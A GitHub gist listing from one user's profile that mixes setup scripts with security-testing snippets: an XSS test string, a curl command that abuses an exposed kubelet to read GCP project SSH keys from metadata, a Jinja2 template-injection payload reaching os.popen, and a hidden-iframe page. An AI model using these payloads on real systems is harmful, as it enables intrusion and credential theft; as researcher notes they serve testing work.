Skip to content

Instantly share code, notes, and snippets.

View chouaibhm's full-sized avatar

chouaib Hm chouaibhm

View GitHub Profile
@chouaibhm
chouaibhm / mulit-arch.sh
Last active July 5, 2017 18:16
Multiarch is a significant and powerful development, and affects many processes and aspects of the system For example running a i386-linux-gnu application on an amd64-linux-gnu system
#!/bin/bash
export BLUE='\033[1;94m'
export GREEN='\033[1;92m'
export RED='\033[1;91m'
export RESETCOLOR='\033[1;00m'
# Make sure only root can run this script
if [ $(id -u) -ne 0 ]; then
echo -e "\n$GREEN[$RED!$GREEN] $RED This script must be run as root$RESETCOLOR\n" >&2
exit 1
@chouaibhm
chouaibhm / ');alert(0);
Created January 28, 2019 00:51
');alert(0);
');alert(0);
@chouaibhm
chouaibhm / go.sh
Created April 1, 2019 09:38 — forked from random-robbie/go.sh
install golang
echo 'Installing go...'
wget https://dl.google.com/go/go1.11.5.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.11.5.linux-amd64.tar.gz
rm go1.11.5.linux-amd64.tar.gz
export GOROOT=/usr/local/go
export GOPATH=$HOME/go
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
echo 'export GOROOT=/usr/local/go' >> ~/.bashrc
echo 'export GOPATH=$HOME/go' >> ~/.bashrc
echo 'export PATH=$PATH:$GOROOT/bin:$GOPATH/bin' >> ~/.bashrc

Retrive Public SSH keys from google metadata

Request

curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "busybox wget -q -O - --header='Metadata-Flavor: Google' http://metadata/computeMetadata/v1/project/attributes/ssh-keys?alt=json"
@chouaibhm
chouaibhm / bookmarks.html
Created April 1, 2019 11:39 — forked from random-robbie/bookmarks.html
Private Bookmarks
https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c
https://www.cidrcalculator.com/asn/asn-to-prefix.html?lang=en
https://itnext.io/aks-kubernetes-security-walk-through-challenge-2-dbe3ed16beec
https://www.digitalinterruption.com/single-post/2018/06/04/Are-Your-Cookies-Telling-Your-Fortune
https://blog.innerht.ml/
@chouaibhm
chouaibhm / Advanced-HTTP-en.md
Created April 1, 2019 11:58 — forked from nicolas-grekas/Advanced-HTTP-en.md
Advanced handling of HTTP requests in PHP
>>> "{{ []['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['sys']['modules']['os']['popen']('ls')['read']() }}"
>>>"{{ []['__class__']['__base__']['__subclasses__']()[59]['__init__']['__globals__']['sys']['modules']['os']['popen']('ls')['read']() }}"
X-HTTP-Method-Override: POST
<html>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<body onload="CreateListReaderIframe()">
<script>
function CreateListReaderIframe() {
var ifr = document.createElement("iframe");
Invoke-Item c:\windows\system32\calc.exe